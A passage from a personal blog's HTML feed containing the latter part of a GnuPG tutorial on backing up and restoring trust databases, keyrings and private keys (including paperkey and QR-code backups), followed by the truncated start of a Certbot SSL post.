&lt;p&gt;There is no need to backup this file; it is better to backup the ownertrust values (see option &lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/Operational-GPG-Commands.html#option-_002d_002dexport_002downertrust"&gt;&amp;ndash;export-ownertrust&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To export the Trust Database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --export-ownertrust &amp;gt; otrust.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can now save it in another directory or device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp otrust.txt /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="import-gpg-trust-database"&gt;
Import GPG Trust Database
&lt;a href="#import-gpg-trust-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To import the Trust Database, we need to first delete the current one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ rm ~/.gnupg/trustdb.gpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then import it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import-ownertrust &amp;lt; otrust.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="export-gpg-public-keyring"&gt;
Export GPG Public Keyring
&lt;a href="#export-gpg-public-keyring" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to save all the Public Keys we have imported to our system, we need to backup them. The Public Keys are saved at the &lt;code&gt;~/.gnupg/pubring.kbx&lt;/code&gt; and &lt;code&gt;~/.gnupg/pubring.gpg&lt;/code&gt; files. But we do need to backup the files directly, it is better to use the &lt;code&gt;--export&lt;/code&gt; option.&lt;/p&gt;
&lt;p&gt;To export the Public Keys:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --export --armor &amp;gt; mypublickeys.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can now save it in another directory or device:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp mypublickeys.asc /path/to/safe/directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="import-gpg-public-keyring"&gt;
Import GPG Public Keyring
&lt;a href="#import-gpg-public-keyring" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To import the saved Public Keys, we can simply run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import mypublickeys.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="backup-gpg-on-paper"&gt;
Backup GPG on Paper
&lt;a href="#backup-gpg-on-paper" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="export-gpg-private-key-to-paperkey"&gt;
Export GPG Private Key to Paperkey
&lt;a href="#export-gpg-private-key-to-paperkey" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Another emergency backup solution is to print the Private Key on physical paper and store it somewhere secure. Paper will last a long time and it will save you a lot of problems in case any digital backup is lost.&lt;/p&gt;
&lt;p&gt;We can use the &lt;code&gt;paperkey&lt;/code&gt; utility to print the keys, which we can install with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo apt install paperkey
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To create a backup of your GnuPG key, pipe the Private Key to &lt;code&gt;paperkey&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --export-secret-key key-id | paperkey --output paperkey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this method, we keep only the Private part of the key. In order to restore the GPG Private Key from the Paperkey backup we will also need the Public Key. This is easier to have available, if we have uploaded online, either to a Keyserver or a personal website.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The file we need to print is &lt;code&gt;paperkey.asc&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="encode-paperkey-to-qr-code"&gt;
Encode Paperkey to QR code
&lt;a href="#encode-paperkey-to-qr-code" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;By default, &lt;code&gt;paperkey&lt;/code&gt; will output the secret key as human readable text. While this format guarantees the ability to read and restore the printed information, it is not very convenient to type out all the hexadecimal characters.&lt;/p&gt;
&lt;p&gt;However we can use the Paperkey format and encode it to other formats, such as a QR code.&lt;/p&gt;
&lt;p&gt;We will use the &lt;code&gt;qrencode&lt;/code&gt; utility to encode the Paperkey, which we can install with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo apt install qrencode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because of the extended file size of the Paperkey and the storage limitations of QR codes, we wan&amp;rsquo;t be able to encode the key into only one QR code image.&lt;/p&gt;
&lt;p&gt;The solution to this is to split the Paperkey to multiple files and convert each file into a QR code PNG image. Then when we want to decode the images, each QR code will produce a string that we can concatenate.&lt;/p&gt;
&lt;p&gt;We will use the &lt;code&gt;split&lt;/code&gt; utility, to split the Paperkey, and then &lt;code&gt;qrencode&lt;/code&gt; to convert each chunk from the file into a QR code image:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Split paperkey to 2500 bytes chunks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ split -C &lt;span style="color:#ae81ff"&gt;2500&lt;/span&gt; paperkey.asc paperkey_split-
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Convert each chunk to a QR code file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in paperkey_split-*; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; qrencode -r &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;i&lt;span style="color:#e6db74"&gt;}&lt;/span&gt; -o &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;i&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_qr.png&amp;#34;&lt;/span&gt;;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Overcomplicated oneliner to delete split chunks, because they are not needed anymore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ find . -type f -not -name &lt;span style="color:#e6db74"&gt;&amp;#34;paperkey_split-*.png&amp;#34;&lt;/span&gt; | grep &lt;span style="color:#e6db74"&gt;&amp;#34;paperkey_split-&amp;#34;&lt;/span&gt; | cut -d/ -f &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; | xargs rm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the QR code images we want will have the format &lt;code&gt;paperkey_split-*_qr.png&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can use the &lt;code&gt;montage&lt;/code&gt; utility to concatenate all the images into one for ease of printing, which we can install with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo apt install montage
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To concatenate all the images into one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ montage -mode Concatenate -tile 2x paperkey_split-*_qr.png paperkey_splits_qr.png
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;The QR code images we need to print are &lt;code&gt;paperkey_split-*_qr.png&lt;/code&gt; or the complete &lt;code&gt;paperkey_splits_qr.png&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="restore-paperkey-from-qr-code"&gt;
Restore Paperkey from QR code
&lt;a href="#restore-paperkey-from-qr-code" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To restore the multiple QR code images back to the Paperkey format, we first need to scan all the QR codes, concatenate them into a single string and then parse the data back to &lt;code&gt;paperkey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We will use the &lt;code&gt;zbar&lt;/code&gt; utilities to restore the Paperkey, which we can install with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo apt install zbar-tools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First we need to scan the QR code printed images, either with the camera of our phone or with our scanner. It is better to do it with a scanner or a good quality camera to make sure we will recover the key.&lt;/p&gt;
&lt;p&gt;After we have scanned the QR code images and given them the same &lt;code&gt;paperkey_split-*_qr&lt;/code&gt; names we can use the &lt;code&gt;zbarimg&lt;/code&gt; utility, to feed all images to it, delete the last new line and append the result to &lt;code&gt;paperkey.asc&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Convert each QR code image to Paperkey and append result&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in paperkey_split-*; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; zbarimg --raw -q $i | head -n -1; &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; &amp;gt; paperkey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Now we have back the Paperkey that we can use to restore the GPG Private Key.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; We use the &lt;code&gt;-q&lt;/code&gt; (or &lt;code&gt;--quiet&lt;/code&gt;) option with &lt;code&gt;zbarimg&lt;/code&gt; to print only the decoded symbol data, and other status text that will interfere with the raw data.&lt;/p&gt;
&lt;h3 id="import-gpg-private-key-from-paperkey"&gt;
Import GPG Private Key from Paperkey
&lt;a href="#import-gpg-private-key-from-paperkey" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To restore the physical copy of our Private Key, we need the file with the paperkey data and the Public Key.&lt;/p&gt;
&lt;p&gt;We can get the paperkey file, either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By restoring by hand from the Paperkey printed copy&lt;/li&gt;
&lt;li&gt;By restoring it from the QR code image&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can restore it and save it to a binary OpenPGP format file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ paperkey --pubring publickey.gpg --secrets paperkey.asc --output privatekey.gpg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and then import it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import privatekey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or, we can restore it and import it directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ paperkey --pubring publickey.gpg --secrets paperkey.asc | gpg --import
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; If you receive a &lt;em&gt;&amp;ldquo;Error: unable to parse OpenPGP packets (is this armored data?)&amp;rdquo;&lt;/em&gt; while restoring your key, you need to dearmor your Public Key first and convert it to the binary OpenPGP format:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Copy armored format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cp publickey.asc publickey
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Convert armored to binary OpenPGP format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --dearmor publickey
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Now you have publickey.gpg to use with paperkey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="gpg-files"&gt;
GPG Files
&lt;a href="#gpg-files" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The most important &lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration.html"&gt;configuration files of GnuPG&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.gnupg/pubring.gpg&lt;/code&gt; : The public keyring using a legacy format.
&lt;ul&gt;
&lt;li&gt;You should backup this file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.gnupg/pubring.kbx&lt;/code&gt; : The public keyring using a different format.
&lt;ul&gt;
&lt;li&gt;You should backup this file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.gnupg/trustdb.gpg&lt;/code&gt;: The trust database.
&lt;ul&gt;
&lt;li&gt;There is no need to backup this file; it is better to backup the ownertrust values&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.gnupg/random_seed&lt;/code&gt;: A file used to preserve the state of the internal random pool.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.gnupg/openpgp-revocs.d&lt;/code&gt;: This is the directory where gpg stores pre-generated revocation certificates.
&lt;ul&gt;
&lt;li&gt;The file name corresponds to the OpenPGP fingerprint of the respective key.&lt;/li&gt;
&lt;li&gt;It is suggested to backup those certificates and if the primary Private Key is not stored on the disk to move them to an external storage device.&lt;/li&gt;
&lt;li&gt;Anyone who can access theses files is able to revoke the corresponding key.&lt;/li&gt;
&lt;li&gt;You may want to print them out.&lt;/li&gt;
&lt;li&gt;You should backup all files in this directory and take care to keep this backup closed away.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gpg-commands"&gt;
GPG Commands
&lt;a href="#gpg-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="list-gpg-keys"&gt;
List GPG Keys
&lt;a href="#list-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;List GPG keys:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/$USER/.gnupg/pubring.kbx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid &lt;span style="color:#f92672"&gt;[&lt;/span&gt;ultimate&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/code&gt; alphanumeric string is your &lt;code&gt;key-ID&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="delete-gpg-keys"&gt;
Delete GPG Keys
&lt;a href="#delete-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Delete GPG key, both public and private.&lt;/p&gt;
&lt;p&gt;First delete the Private Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --delete-secret-keys key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, you can delete the Public Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --delete-keys key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="list-gpg-fingerprints"&gt;
List GPG Fingerprints
&lt;a href="#list-gpg-fingerprints" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;List keys and fingerprints in your system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --fingerprint
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/$USER/.gnupg/pubring.kbx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid &lt;span style="color:#f92672"&gt;[&lt;/span&gt;ultimate&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX&lt;/code&gt; alphanumeric string is the &lt;code&gt;fingerprint&lt;/code&gt; of the key.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://help.ubuntu.com/community/GnuPrivacyGuardHowto"&gt;Ubuntu Help - GnuPrivacyGuardHowto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/GnuPG"&gt;Arch Wiki - GnuPG&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages"&gt;Digital Ocean - How To Use GPG to Encrypt and Sign Messages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/"&gt;GnuPG Manual&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration.html#GPG-Configuration"&gt;GnuPG Manual - 4.3 Configuration files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnupg.org/gph/en/manual/x334.html"&gt;GnuPG Manual - Validating other keys on your public keyring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openpgp.org/software/"&gt;OpenPGP - Email Encryption&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.mozilla.org/en-US/kb/openpgp-thunderbird-howto-and-faq"&gt;Mozilla Support - OpenPGP in Thunderbird - HOWTO and FAQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.mozilla.org/en-US/kb/digitally-signing-and-encrypting-messages"&gt;Digitally Signing and Encrypting Messages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emailselfdefense.fsf.org/en/"&gt;FSF - Email Self-Defense&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openoffice.org/download/checksums.html#pgp_win"&gt;Apache OpenOffice - How to verify the integrity of the downloaded file?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linuxbabe.com/security/verify-pgp-signature-software-downloads-linux"&gt;How to Verify PGP Signature of Downloaded Software on Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.chapagain.com.np/gpg-revoking-your-public-key-and-notifiying-key-server/"&gt;GPG: Revoking your public key and notifiying key-server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://risanb.com/code/backup-restore-gpg-key/"&gt;How to Backup and Restore Your GPG Key&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://access.redhat.com/solutions/2115511"&gt;Red Hat - How to migrate or export all GnuPG (gpg) public and private keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.jabberwocky.com/software/paperkey/"&gt;Paperkey - an OpenPGP key archiver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Paperkey"&gt;Arch Wiki - Paperkey&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>HTTPS &amp; SSL Certificate &amp; Certbot</title><link>https://thanoskoutr.com/posts/ssl-certificate/</link><pubDate>Sat, 03 Jul 2021 01:54:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/ssl-certificate/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/certbot.png"/&gt;
&lt;p&gt;In this post we will see, how we can get an SSL certificate for our Apache or Nginx server with Certbot from Let&amp;rsquo;s Encrypt.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;
Prerequisites
&lt;a href="#prerequisites" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
